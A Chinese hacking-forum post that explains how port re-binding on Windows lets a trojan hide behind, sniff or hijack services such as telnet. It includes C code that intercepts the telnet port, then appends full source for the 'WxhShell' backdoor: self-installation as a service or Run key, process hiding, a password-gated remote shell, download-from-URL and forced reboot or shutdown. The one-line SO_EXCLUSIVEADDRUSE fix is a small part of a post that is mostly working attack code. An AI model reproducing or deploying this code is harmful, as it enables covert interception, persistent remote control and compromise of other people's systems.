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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Go:(R {P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3)CIqN  
#E=8kbD7  
  saddr.sin_family = AF_INET; i" u|119  
i Pr(X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 05HCr"k  
GK,{$SC+=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PX^ k;  
t@#5 G* _Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (i(E~^O  
n7~3~i` D;  
  这意味着什么?意味着可以进行如下的攻击: ,KM%/;1Dm  
` W );+s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z/:yYSq  
E Lq1   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iJ*Wsp  
"v wLj:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1V[ZklS  
W!.FnM5x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uMG y-c  
sl$y&C-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [];wP '*  
UJp'v_hN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "WGKwi=W  
.WN&]yr,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fk?!0M6d  
B[YyA  
  #include WwnBe"7M  
  #include $4ZV(j]  
  #include * Uy>F[%@  
  #include    FVP,$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +&f_k@+  
  int main() ,Iz9!i J"  
  { Yyd}>+|<,  
  WORD wVersionRequested; !~F oy F  
  DWORD ret; S{2;PaK  
  WSADATA wsaData; +ru`Zw5,  
  BOOL val; @##}zku  
  SOCKADDR_IN saddr; k 75 p  
  SOCKADDR_IN scaddr; 6 mLC{X[  
  int err; {P?DkUO}  
  SOCKET s; O{byMV{Ou  
  SOCKET sc; 1#"wfiW  
  int caddsize; B[8 RBTsA  
  HANDLE mt; 7yg {0a  
  DWORD tid;   [D+PDR  
  wVersionRequested = MAKEWORD( 2, 2 ); GFbn>dY  
  err = WSAStartup( wVersionRequested, &wsaData ); V#b*:E.cA  
  if ( err != 0 ) { <x;g9Z>(  
  printf("error!WSAStartup failed!\n"); jM6$R1HX  
  return -1; ] X]!xvN@  
  } B&59c*K  
  saddr.sin_family = AF_INET; $?:IRgAr  
   .@mZG<vg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s/~[/2[bnf  
? B|i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zn= pm#L  
  saddr.sin_port = htons(23); t W   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f`>\bdz  
  { tQ'R(H`  
  printf("error!socket failed!\n"); JF}i=}  
  return -1; ?Y\WSI?i  
  } O\yYCi(  
  val = TRUE; L&NpC&>wD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p*cyW l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z9% u,Cb  
  { l1 08.ao  
  printf("error!setsockopt failed!\n"); G&wYV[Ln  
  return -1; E)I&? <g  
  } d9e~><bPJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j/T@-7^0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T=V{3v@zs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $[cB6  
UDcr5u eKn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IWN18aaL?  
  { S$wC{7?f  
  ret=GetLastError(); VOATza`  
  printf("error!bind failed!\n"); ]NWcd~"b!Z  
  return -1; KU+u.J  
  } l&] %APL  
  listen(s,2); MB>4Y]rtU  
  while(1) +ZE"pA^C  
  { y\iECdPU  
  caddsize = sizeof(scaddr); u5U^}<}y}  
  //接受连接请求 d@Bd*iI<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \Z%_dT}  
  if(sc!=INVALID_SOCKET) }Sh@.3*  
  { !VG ]~lc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xQ?$H?5B<  
  if(mt==NULL) qIzv|Nte  
  { eK3d_bF+  
  printf("Thread Creat Failed!\n"); 4T)`%Oo<}  
  break; +['1~5  
  } n^G[N-\3  
  } +W[{UC4b  
  CloseHandle(mt); 0_^3 |n  
  } <7ag=IgDy  
  closesocket(s); B=_5gZ4Y  
  WSACleanup(); M6]:^;p'  
  return 0; 4uE/!dT  
  }   jM{5nRQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) Iz#jR2:yn  
  { -=1>t3~\  
  SOCKET ss = (SOCKET)lpParam; fx^yC.$2  
  SOCKET sc; 6(A"5B=\  
  unsigned char buf[4096]; a[!:`o1U  
  SOCKADDR_IN saddr; XK0lv8(  
  long num; G [yI[7=d  
  DWORD val; X1u\si%.4S  
  DWORD ret; 1':};}dCJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KlwB oC/{K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +rrA>~  
  saddr.sin_family = AF_INET; raP9rEs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7.yCs[Z  
  saddr.sin_port = htons(23); Q?Xqf7y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _(@V f=t  
  { 3Z}m5f`t  
  printf("error!socket failed!\n"); =| r% lx  
  return -1; q{q;X{  
  } h)r=+Q\'(S  
  val = 100; 1:I _ ;O_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b^P\Kky  
  { gb^'u  
  ret = GetLastError();  `7V'A  
  return -1; ^NxKA'oWQ  
  } [/J(E\9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6*tky;  
  { }qhND-9#@  
  ret = GetLastError(); OR10IS  
  return -1; |Yi_|']#  
  } &c= 3BEh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "t>H B6^  
  { +5Y;JL<%/  
  printf("error!socket connect failed!\n"); >+[{m<Eq  
  closesocket(sc); ge{%B~x  
  closesocket(ss); /XuOv(j  
  return -1; j  W -K  
  } ~\O,#j`_  
  while(1) HNX/#?3  
  { $|19]3T@Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3HndE~_C&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lp1GK/!s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t0ZaIE   
  num = recv(ss,buf,4096,0); WsmP]i^Q  
  if(num>0) Oh7wyQiV  
  send(sc,buf,num,0); r)dXcus  
  else if(num==0) t1o_x}z4.  
  break; Q6PMRG}/o  
  num = recv(sc,buf,4096,0); cMAY8$  
  if(num>0) =A/$[POr  
  send(ss,buf,num,0); <ZoMKUuB  
  else if(num==0) ^%33&<mB}  
  break; 6.3qux9  
  } P[P]oT.N  
  closesocket(ss); AT"!Ys|  
  closesocket(sc); jXyK[q&O&  
  return 0 ; @l~MY *hp  
  } A^7}:[s20  
- SCFWc  
Ec!R3+  
========================================================== *,XT;h$'>  
].N%A07  
下边附上一个代码,,WXhSHELL s#(<zBZ9p#  
>% E=l  
========================================================== *iVv(xXgN  
<TEDs4 C  
#include "stdafx.h" @p9YHLxLjQ  
;.d{$SO  
#include <stdio.h> >6z7.d  
#include <string.h> ]Mgxv>zRbs  
#include <windows.h> 1F[W~@jW  
#include <winsock2.h> ZX40-6#O  
#include <winsvc.h> E@)9'?q  
#include <urlmon.h> ]7%+SH,RdD  
$4>x4*  
#pragma comment (lib, "Ws2_32.lib") $w! v  
#pragma comment (lib, "urlmon.lib") IU rGJ#}O  
fSm|anuKZe  
#define MAX_USER   100 // 最大客户端连接数 U0dhr;l  
#define BUF_SOCK   200 // sock buffer e>_Il']Mb  
#define KEY_BUFF   255 // 输入 buffer {&)E$ M  
~qb-uT\(99  
#define REBOOT     0   // 重启 ;-{'d8  
#define SHUTDOWN   1   // 关机 }H9V$~}@-  
x^!LA,`j  
#define DEF_PORT   5000 // 监听端口 udX!R^8jE  
O['5/:-  
#define REG_LEN     16   // 注册表键长度 'X1/tB8*  
#define SVC_LEN     80   // NT服务名长度 qoJ<e`h}  
 k< g  
// 从dll定义API M{`uI8vD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J]$]zD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C +S>;1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T|h'"3'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ku]<$uo  
kBJx`tjtp  
// wxhshell配置信息 )E=~ _`XO  
struct WSCFG { oJor ]QYK  
  int ws_port;         // 监听端口 JA6#qlylL  
  char ws_passstr[REG_LEN]; // 口令 .Gnzu"lod  
  int ws_autoins;       // 安装标记, 1=yes 0=no )ZDqj  
  char ws_regname[REG_LEN]; // 注册表键名  ~&Y%yN^  
  char ws_svcname[REG_LEN]; // 服务名 @DCw(.k*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d?1[xv;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9 IY1"j0O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iVf8M$!m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9':MD0P/M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #~;:i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4[f>kY%[  
}FT8 [m<  
}; :pg]0X;  
`EzC'e  
// default Wxhshell configuration {~~'  
struct WSCFG wscfg={DEF_PORT, oa8xuFu(n  
    "xuhuanlingzhe", `:;fc  
    1, vI+X9C?  
    "Wxhshell", d<afO?"  
    "Wxhshell", Iq: G9M  
            "WxhShell Service", 5$"I Uq*  
    "Wrsky Windows CmdShell Service", pwr]lV$w  
    "Please Input Your Password: ", _If:~mIs  
  1, ./E<v  
  "http://www.wrsky.com/wxhshell.exe", >iFi~)i_4y  
  "Wxhshell.exe" C!S( !Z,  
    }; y>_*}>2,O  
8/+x1,S%  
// 消息定义模块 ">"B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qgZN&7Nn:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P)&qy .+E0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b0lZb'  
char *msg_ws_ext="\n\rExit."; 2W vf[2Xw  
char *msg_ws_end="\n\rQuit."; (eF "[,z  
char *msg_ws_boot="\n\rReboot..."; s N|7   
char *msg_ws_poff="\n\rShutdown..."; ~<Sb:I zld  
char *msg_ws_down="\n\rSave to "; zT"W(3  
!d3:`l<  
char *msg_ws_err="\n\rErr!"; p+O,C{^f  
char *msg_ws_ok="\n\rOK!"; #tQ__ V   
dI$M9;  
char ExeFile[MAX_PATH]; 8d*W7>rq  
int nUser = 0; jp P'{mc  
HANDLE handles[MAX_USER]; Wd/m]]W8Q  
int OsIsNt; tAH0o\1;  
W>(p4m  
SERVICE_STATUS       serviceStatus; 3eJ"7sftW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .]H1uoci|  
2vx1M6a)L  
// 函数声明 g~Agy  
int Install(void); ,)7y? *D}  
int Uninstall(void); C9%2}E3Z$)  
int DownloadFile(char *sURL, SOCKET wsh); P`!31P#]L  
int Boot(int flag); kC4}@{4i  
void HideProc(void); Ym/y2B(  
int GetOsVer(void); 0X[uXf  
int Wxhshell(SOCKET wsl); sj\kp ni  
void TalkWithClient(void *cs); )-_To&S*  
int CmdShell(SOCKET sock); -|nHwSrCZ/  
int StartFromService(void); Iji9N!Yx  
int StartWxhshell(LPSTR lpCmdLine); %SlF7$  
%:hU:+G E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?wYvBFRn7"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }KCb5_MDF  
M~t;&po  
// 数据结构和表定义 |\_d^U &`  
SERVICE_TABLE_ENTRY DispatchTable[] = |}^ BF%8V:  
{ 8^|lsB}x?  
{wscfg.ws_svcname, NTServiceMain}, OXCf  
{NULL, NULL} 7z^\}&  
}; } qn@8}  
i*-L_!cc:  
// 自我安装 leomm+f^  
int Install(void) S, %BhQ[  
{ =%+o4\N,  
  char svExeFile[MAX_PATH]; etkKVr;Kv  
  HKEY key; +1Ua`3dWN_  
  strcpy(svExeFile,ExeFile); pXv@ QD#!  
t (>}  
// 如果是win9x系统,修改注册表设为自启动 &S|%>C{P.w  
if(!OsIsNt) { hAv.rjhw_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _k2*2db   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eggdj+  
  RegCloseKey(key); wEJ) h1=)^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s`Z'5J;S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! Al?B9KJ  
  RegCloseKey(key); 22gk1'~dO  
  return 0; .S =^)  
    } ?cdjQ@j~h  
  } 9XSZD93L  
} +X&b  
else { Zr U9oy&!C  
?*h 2:a$  
// 如果是NT以上系统,安装为系统服务 i`)h~V|G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~i ImM|*0  
if (schSCManager!=0) g8^YDrH  
{ ,Kw]V %xOb  
  SC_HANDLE schService = CreateService B qA  
  ( 2AK]x`GY  
  schSCManager, \vQjTM-7  
  wscfg.ws_svcname, v;m}<3@'  
  wscfg.ws_svcdisp, 4W$ t28)  
  SERVICE_ALL_ACCESS, .uGvmD <;x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X[Q:c4'  
  SERVICE_AUTO_START, nNJMQb'K  
  SERVICE_ERROR_NORMAL, NiCB.a  
  svExeFile, Ug1n4X3FKn  
  NULL, /degBL+  
  NULL, ,J63 ?EQ3  
  NULL, +^\TG>le  
  NULL, 1ehl=WN  
  NULL t'pY~a9F  
  ); ]&mN~$+C  
  if (schService!=0) uO,9h0y0W  
  { 6*]g~)7`Q~  
  CloseServiceHandle(schService); q;<=MO/  
  CloseServiceHandle(schSCManager); m5/d=k0l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cB ,l=/?  
  strcat(svExeFile,wscfg.ws_svcname); vm y?8E6+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bb ]r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qB0F9[U  
  RegCloseKey(key); B<p -.tv  
  return 0; WzwH;!  
    } 2a 3RRP  
  } RZg8y+jM  
  CloseServiceHandle(schSCManager); 5!pof\/a  
} NEb M>1>^  
} Bl"BmUn  
=K ctAR;  
return 1; ra4$/@3n  
} 7\?0d!  
IW<nfg  
// 自我卸载 !8 V  
int Uninstall(void) yK3b^  
{ L~PBD?l  
  HKEY key; ?mCino  
X?8EPCk  
if(!OsIsNt) { qij<XNZU"&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I \DH  
  RegDeleteValue(key,wscfg.ws_regname); XFiP8aX<  
  RegCloseKey(key); &=-ZNWNo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qlJzXq{|`  
  RegDeleteValue(key,wscfg.ws_regname); (WISf}[l;  
  RegCloseKey(key); z9B" "ws  
  return 0; [$<\*d/  
  } ..5rW0lr  
} (&)PlIi7  
} 8w Xnc%  
else { WX9ABh&5  
-xXz}2S4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :47bf<w|Y  
if (schSCManager!=0) &# ?2zbZ  
{ v, VCbmc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $xK2M  
  if (schService!=0) 'fGB#uBt  
  { ip`oL_c  
  if(DeleteService(schService)!=0) { 7l~d_<h  
  CloseServiceHandle(schService); H`:2J8   
  CloseServiceHandle(schSCManager); abW[hp  
  return 0; +p Y*BP+~i  
  } |*T3TsP u  
  CloseServiceHandle(schService); ~g|Z6-?4Jj  
  } B,_/'DneQK  
  CloseServiceHandle(schSCManager); 1#D&cx6  
} %\|9_=9Wn  
} Us.")GiHE  
[K=M; $iQ  
return 1; 1_of;=9V  
} ;tZ;C(;<  
k"z ~>  
// 从指定url下载文件 s)L\D$;+O  
int DownloadFile(char *sURL, SOCKET wsh) <U]!1  
{ qq,#bRe  
  HRESULT hr; bl8EzO  
char seps[]= "/"; FkH HTO  
char *token; `Pcbc\"*y  
char *file; 6VsgZ"Il  
char myURL[MAX_PATH]; x/B1\U I  
char myFILE[MAX_PATH]; :"~SKJm  
S /kM#  
strcpy(myURL,sURL); 4*D'zJsJ  
  token=strtok(myURL,seps); $\w<.)"#  
  while(token!=NULL) <Pm!#)-g9  
  { b:M1P&R  
    file=token; 5p}ri,Y<  
  token=strtok(NULL,seps); 0{q>'dv  
  } ,dR<O.{ 0  
l@irA tg4  
GetCurrentDirectory(MAX_PATH,myFILE);  l:i&l?>_  
strcat(myFILE, "\\"); RnaxRnXVR  
strcat(myFILE, file); J2BCaAwEP,  
  send(wsh,myFILE,strlen(myFILE),0); XsXO S8  
send(wsh,"...",3,0); <?>1eU%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nc2=S^Fqu  
  if(hr==S_OK) 9*&c2jh  
return 0; X9-WU\?UC  
else nqFJNK]a  
return 1; ){I0  
cS2PrsUx  
} 4m:D8&D_M  
^7Hwpn7E  
// 系统电源模块 C$+z1z.!  
int Boot(int flag) IW{}l=D/  
{ Mjon++>Z  
  HANDLE hToken; w wuM!Z+  
  TOKEN_PRIVILEGES tkp; k Xg&}n7  
Lhz*o6)  
  if(OsIsNt) { sc0.!6^'V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =.48^$LWx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \x7^ly$_  
    tkp.PrivilegeCount = 1; q^w@l   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CQANex4&\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $SOFq+-T  
if(flag==REBOOT) { L7`=ec<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =] +owl2  
  return 0; N8E  
} E^`-:L(_  
else { ]wZlJK`K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (6crWw{3  
  return 0; #>ob1b|  
}  81}JX  
  } (B^rW,V[R  
  else { +7KRoF|  
if(flag==REBOOT) {  ;H4s[#K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !\}X?G f  
  return 0; B" 0a5-pkr  
} N*`qsv 0  
else { H,3WdSL`K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,6 IKkyD  
  return 0; gWu<5Y=C  
} DP8%/CV!*  
} 6KRC_-  
ogvB{R  
return 1; WqJrDj~  
} jl"su:y  
9R m\@E [  
// win9x进程隐藏模块 I !J'  
void HideProc(void) jf^BEz5  
{ EvKzpxCh  
X=KC +1e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OfK>-8  
  if ( hKernel != NULL ) idNra#  
  { Rz#q68  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;EB^1*A Ew  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aJ"m`5]=%  
    FreeLibrary(hKernel); ~+)>D7  
  } nCS" l5  
`*ALb|4ilG  
return; bgYUsc*uR  
} N XCvS0/h  
='t}d>l  
// 获取操作系统版本 AGGT] 58|  
int GetOsVer(void) !+u K@z&G  
{ agkGUK/  
  OSVERSIONINFO winfo; +^DDWVp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z0[d;m*  
  GetVersionEx(&winfo); ]Zz.n5c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .%EYof  
  return 1; NZ"nG<;5  
  else Gsu?m  
  return 0; VTa%  
} \c}pzBFd  
S J2l6  
// 客户端句柄模块  b]gVZ-  
int Wxhshell(SOCKET wsl) RcC5_@W  
{ \^1S:z  
  SOCKET wsh; ox*>HkV  
  struct sockaddr_in client; ALQ-aXJ  
  DWORD myID; z d6F}2*6  
G*f\ /  
  while(nUser<MAX_USER) h343$,))u  
{ 2FcNzAaV  
  int nSize=sizeof(client); brX[-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5ZX  
  if(wsh==INVALID_SOCKET) return 1; +BVY9U?\"  
E/zclD5S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6f:uAFwG  
if(handles[nUser]==0) '3 b'moy  
  closesocket(wsh); X'88W-  
else DNr*|A2<  
  nUser++; <aLS4  
  } unih"};ou  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $^_6,uBM[  
^I KT!"J&?  
  return 0; edo+ o{^  
} nMK$&h,{  
k1.%ZZMM  
// 关闭 socket Z2t\4|wr:  
void CloseIt(SOCKET wsh) l,*5*1lM  
{ K)9Rw2-AJ  
closesocket(wsh); pMJm@f  
nUser--; |BUgsE  
ExitThread(0); @,j,GE%  
} S=gb y  
O0FUJGuTS  
// 客户端请求句柄 wB bCGU  
void TalkWithClient(void *cs) %!r.) Wx|2  
{ pC]XbokES  
Re2&qxE  
  SOCKET wsh=(SOCKET)cs; Qvty;2$o@  
  char pwd[SVC_LEN];  fDloL  
  char cmd[KEY_BUFF]; 'b0r?A~c=  
char chr[1]; <F8e?xy  
int i,j; W*Si"s2  
jfiUf1Mj  
  while (nUser < MAX_USER) { 9Z21|5  
JA*+F1s  
if(wscfg.ws_passstr) { 0'HQ=pP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ah%Ws#&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <DP8a<{{  
  //ZeroMemory(pwd,KEY_BUFF); $ x:N/mMu`  
      i=0; P2@Z7DhQ  
  while(i<SVC_LEN) { YS#*#!ZMn?  
dr(-k3ex  
  // 设置超时 :}yT?LIyP  
  fd_set FdRead; 7{]dh+)  
  struct timeval TimeOut; d@ >i=l [  
  FD_ZERO(&FdRead); 1Au+X3   
  FD_SET(wsh,&FdRead); Xo:Mar  
  TimeOut.tv_sec=8; 2e-`V5{)b  
  TimeOut.tv_usec=0; OIJT~Z}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v$D U q+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x5CMP%}d  
?% [~J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r ^\(M {  
  pwd=chr[0]; peF)U !`D  
  if(chr[0]==0xd || chr[0]==0xa) { 1yZA_x15:  
  pwd=0; eXMIRus(  
  break; gXlcB~!  
  } 0-[naGz  
  i++; Lg~C:BN F  
    } 0QT:@v2R  
Fuzb4Df  
  // 如果是非法用户,关闭 socket \+#EO%sN1%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y|)VNnWM  
} }W'4(V;:  
,<* I5:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n0!2-Q5U)h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f@$W5*j  
+ZwoA_k{  
while(1) { !:m.-TE  
2Kf/Id1  
  ZeroMemory(cmd,KEY_BUFF); ^;'8yE/  
&y}7AV  
      // 自动支持客户端 telnet标准   tfN[-3)Z  
  j=0; @ ?M\[qeF@  
  while(j<KEY_BUFF) { Q#G xo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p0WUF\"  
  cmd[j]=chr[0]; ccrWk*tr  
  if(chr[0]==0xa || chr[0]==0xd) { ) $_1U!z  
  cmd[j]=0; [gpO?'~  
  break; gHp*QL\?9  
  } N<8\.z5:<  
  j++; ,f2oO?L}  
    } :09NZ !!  
jLVG=rOn  
  // 下载文件 yKoZj   
  if(strstr(cmd,"http://")) { a_V\[V{R=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _FYA? d}  
  if(DownloadFile(cmd,wsh)) Hf@4p'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e`s1z|h  
  else '9Z`y_~)G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cZQ8[I  
  } >7PQOQMW'  
  else { MzX&|wimb  
=T,Q7Dh  
    switch(cmd[0]) { 9-/q-,  
  T{k_3[{0o  
  // 帮助 Gk{ 'U  
  case '?': { VaY#_80$s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k9f|R*LM  
    break; >]pZ;e$  
  } |67Jw2  
  // 安装 mLqqo2u  
  case 'i': { zQ |2D*W  
    if(Install()) t\hnnu`Pq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W06#|8,{v  
    else Zs />_w}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YD'gyP4  
    break; XQ]vJQYIR  
    } a1~|?PCbY  
  // 卸载 9gcW;  
  case 'r': { XZb=;tYo  
    if(Uninstall()) o6px1C:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6qHD&bv\%C  
    else y\Aa;pL)RQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tc/^h 4xH  
    break; u"=]cBRWL6  
    } j*<J&/luYZ  
  // 显示 wxhshell 所在路径 <7VLUk}  
  case 'p': { xeSch?}  
    char svExeFile[MAX_PATH]; W|m(Jh[w]  
    strcpy(svExeFile,"\n\r"); \Q|-Npw  
      strcat(svExeFile,ExeFile); ZK8)FmT_<O  
        send(wsh,svExeFile,strlen(svExeFile),0); ]JjS$VMauX  
    break; X|T|iB,vT  
    } J)>DsQ+Cj  
  // 重启 SjB"#E)  
  case 'b': { \jwG*a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1H-Y3G>jN  
    if(Boot(REBOOT)) U L $!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q4[}b-fF  
    else { UeO/<ml3>J  
    closesocket(wsh); VKDOM0{V  
    ExitThread(0); P}}G9^  
    } d\JaYizp  
    break; SYY x>1;8`  
    } #QoWneZ  
  // 关机 Eo6N'h>h  
  case 'd': { =G:Krc8w@  
